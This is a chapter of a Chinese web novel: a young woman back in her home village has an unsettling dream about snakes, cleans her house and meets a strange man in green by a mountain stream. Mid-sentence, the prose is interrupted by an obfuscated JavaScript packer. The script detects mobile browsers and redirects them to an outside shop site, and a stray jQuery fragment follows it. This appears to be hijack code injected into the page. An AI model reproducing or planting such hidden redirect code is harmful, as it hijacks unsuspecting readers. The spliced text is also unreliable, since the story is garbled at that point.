夜里,许晴奥就做了梦。
周围都是密密麻麻的蛇,蛇群围着她环绕,呈诡异的迷宫一样的圈。
她好像很开心,左摸摸右摸摸,触手一片冰凉的橡皮泥触感,滑溜溜的。
胳膊突然被顶了顶,她低下头,原来是怀里的那条青蛇不乐意了。
这条青蛇有成年男人小臂那么粗,环绕着她的腰身,黑色眸子,琉璃似的翠绿的竖瞳,吐着信子仰着头望她。
她顿时心软软,柔情似水的抚摸着这条青蛇。
许晴奥梦到这里就彻底吓得醒来,她的心脏震动,夜晚的月光顺着窗映照在她的脸上,照亮了她仓皇的脸。
这时突然又察觉手下一阵冰凉,她立刻慌了神,出了一层薄汗。
低头望去,却只是碰到了放在床边的凳子,打磨光滑的木头表面,让她以为碰到了蛇。
胆大如许晴奥,突然梦到这么多蛇的画面,也还是心惊到呆呆的盯着窗外看了好一会,这才缓缓睡去。
夏日里的月亮,真是圆啊。
……
回村第三天。
一大早许博文就把昨晚修好的冰箱拉到了许晴奥的家里,两个人一起帮着整理屋子,效率大大提高。
今天的阳光十分的好,许晴奥掏出密封在衣柜里的一众床单被褥,全部放在家里老旧的洗衣机里洗了洗,来不及洗的就自己手动去洗。
院子两边都是土,只有中间是一条石头做的小路通往房间。上次许晴奥已经把杂草全部清理干净了,院子里便只有翻出的红棕色土地,看起来肥沃的很好种菜。
许晴奥在院子里拉出几条铁丝,把被罩床单全部放上去接受太阳的暴晒。
全村里都是二层平房,本来的屋檐做平,表面用水泥砌成,平整干净,非常适合晾晒粮食。
许晴奥家的屋顶也是。
许博文帮着把屋顶清理了出来,铺上擦干净的席子,把被子里的棉花翻出来铺上去,等到了下午翻一次棉花,两边均匀晒好。
到了晚上,再把晒好的棉花塞进洗好晾晒的被子里,要是冬天盖起来,肯定十分舒适。
两人忙活了一白天,整个家里就收拾的干净了起来,虽然依旧破,但明亮了许多。
这样的地方,以后就是她的家了。
许晴奥拿回来了自己的行李,晚饭在许博文家里吃的,她本来想烧水煮饭,却发现家里什么都没有。
躺在焕然一新的床上,旧风扇在头顶晃啊晃,带来仅剩不多的凉意,她轻轻蹭蹭柔软的枕头,觉得自己有点想妈妈了。
不是真的妈妈,而是“妈妈”这个形象所带来的温暖的感觉。
她希望记忆中那双温暖的手抚她的发把她抱在怀里轻哄。
泪濡湿了枕头,她模模糊糊睡去。
回到自己家住的第一晚,她把泪水当做了见面礼物。
……一夜无梦。
——
早上定了七点的闹钟,许晴奥强忍困意趁着人少去了小卖部,她买了面粉米挂面之类的必吃食物,一式各一份。
先借了小卖部的推车把自己那份送回了家,之后又把其他的送给了许博文家。
总不能真在人家白吃白喝两天,还白得了一个冰箱吧。
把这些事做好,天也彻底热了起来。村里各家各户都出来走动,在外面闲聊。
许晴奥想了想,虽然主食是有了,但却没有菜,记得小时候山上的河里总能摸到鱼、螃蟹和蛤蜊之类的,甚至还有嫩笋和野蘑菇。
家里的风扇年久失修,风力不大,去山上还能躲躲热,凉快许多。
她回了几条朋友的消息,就背着背篓找人少的路往山上去了。
剩下的鱿鱼干所剩无几,索性她就全带了上,这是她仅存的零食了,正好没吃饭可以当早餐。
许晴奥随身带着雄黄粉,一路看来看去,生怕碰到上次那样的场景,幸好,山上已经恢复了往日的平静。
吹着凉爽的微风,很快到了小溪旁,许晴奥先是休息了一会,脱下鞋子,把裤脚挽起来,这才拿起背篓往小溪里走去,一块一块的翻着石头。
找了半天,她的腰就弯的十分的疼,只好又坐回小溪边的石头上。
“怎么回事,我记得以前随便一摸就有很多螃蟹和蛤蜊呀……”
她自言自语,十分不解,现在村里竟然连小螃蟹都摸不到了吗?
许晴奥盯着往下流的河流发着呆,伸手从背篓里掏出鱿鱼干吃了起来。
“农村生活一点都不像我想象中那么好嘛。”
她气愤的狠狠地嚼着嘴里的食物,时不时叹个气,把指甲咬的嘎吱嘎吱响,这块林子里的声音,几乎全是她发出来的了。
在她盯着河面,第十九次叹气时,却有人先比她叹出了一口气。
“唉……”
在她头顶上,悠悠地传出这样的声音来。
许晴奥猛地站起来往头顶看去,一抹青色就这样靠在树上,也幽幽地望着她。
“好吵闹。”
男人唉声道,眉毛都皱了起来,似乎刚被吵醒一样,睡眼惺忪的,还泛着水雾,让人心生愧疚。
许晴奥没说话,只无奈的想,这山上,怎么哪都能碰到这个人啊!
没人理他,看着女孩背对着他坐着,他躺了一会,短时间被吵醒又睡不着,只好百无聊赖的盯着远处的河流看啊看。
两人就这样死寂的各自发呆着。
“我想吃鱼,蛤蜊,螃蟹。”
许晴奥突然说出口,紧接着恨不得扇自己一巴掌,让人窒息的工作使她养成了没人时自言自语的习惯,刚刚那男人那么安静,她的嘴就比大脑快了……!
她找补道:“你知道哪里有吗?”
男人收回视线,慢吞吞的指了指旁边的河:“这。”
“那我怎么没找到?”
许晴奥仰头看他,又问:“你在上面睡不难受吗?”
她想,见到这男人三次,有两次他都在树上睡觉被她吵醒,这是什么孽缘啊。
“它们在洞里,不在石头下面。”男人说完又道:“习惯了。”
“奥,”许晴奥干巴巴的点点头。
又补了一句:“谢谢你告诉我。”
可半天,她却没有要去捉的打算,只是呆坐着。
“你不去吗?”男人很不解,甚至从树上直接跳了下来。
许晴奥回过神,只看到一片青与白闪过,那个总在树上睡觉的男人就这样站在了她的面前了。
他个子很高,比许博文还要高,露出的一点胸膛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356877|140784||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
肌肉流畅,长发松散着搭在身上,配合着那双浓黑的眼瞳,鲜红的唇,苍白的皮肤,有种邪性的美。
有点像中世纪的吸血鬼。
许晴奥退后一步,跟他拉开距离,轻声说:“不想抓了,我走了。”
说着,她自顾自的就背起竹篓往外走了。
留下原地莫名看着她的男人。
许晴奥喜怒无常,刚刚那男人下来时,她突然就觉得……嗯……好危险啊。
她后知后觉,荒郊野林,她跟一个比许博文还健壮的男人面对面,实在是太危险了。
越走越快,直到看见有村里人在附近钓鱼时,她才慢了起来。
甚至直接停下来找了个大石头坐着,她微微喘气,感慨道:“他们怎么都那么有劲啊。”
果然还是得多补补气血。
在石头上坐了一会,许晴奥抽空回了回闺蜜苏夏的消息。
“过得很好,勿念。”
那边秒回:
“回来跟我一起受打工的苦。”
下面却又正经的发了句:
“祝福你,脱离苦海,修养好精神再回来。”
许晴奥笑了笑,回了个“好”字过去。
她跟苏夏从小一起长大,连学校也一直都选的一样,十几年的朋友交情了。
以前许晴奥以为自己会一直拥有很多朋友,但在毕业后就被光速打脸,她失去了社交能力,逐渐在痛苦压抑的工作环境和尔虞我诈的成年人生活中,被“吃”的只剩下千疮百孔的躯壳。
最终,她决定躲回这个曾带给她过短暂温暖的老家里,让自己能稍有开心的时刻,而不是要无止休的面临各种她克服不去的难关。
幸好,苏夏还是站在她这边,支持着她。
许晴奥望着手机微笑,少有的舒心时刻。
即使没有比苏夏之外更关心自己的人了,但那又如何,她渐渐想蜷缩起身子,困意又一次袭来了,她忍耐住。
许晴奥给自己打气,声音小小的:
“许晴奥,加油,你一个人,也可以好好的。”
拿出鱿鱼干,撕掉包装塞进嘴里咬啊咬,嚼啊嚼,感觉状态好了点,她这才站起身,算了,看看能不能挖点野菜中午先随便吃一顿吧。
只是她刚踏出去一两步,身后就传来熟悉的声音。
“喂,给你。”
她懵懵的转过身。
穿着青衫的男人走上前,漂亮的青色衣服上兜满了大大小小的鱼、螃蟹、蛤蜊,甚至还有几朵纤长的野蘑菇。
水湿了衣服下摆,沾染了点点泥土,像是污了的水墨画。
他把野蘑菇小心的放在地上,以防捏碎,又看了眼许晴奥,她似乎从黑眸中看出他的意思来,于是下意识便把背篓放了下来摆在地上。
男人便把衣服上的东西一股脑的倒了进去,背篓里,鲜活的鱼扑腾起来,螃蟹走来走去。
他这才又抬起头看她,脸色苍白,眼睫微垂,不过声音还是那副冷冷地如泉水一般的声音。
“抱歉。”
他不说为什么道歉,也不再说其他的,只是半垂的眼轻飘飘的看了一眼她。
直到他走出了有一些距离,许晴奥又突然地听见了他的声音。
“我是,浮雨。”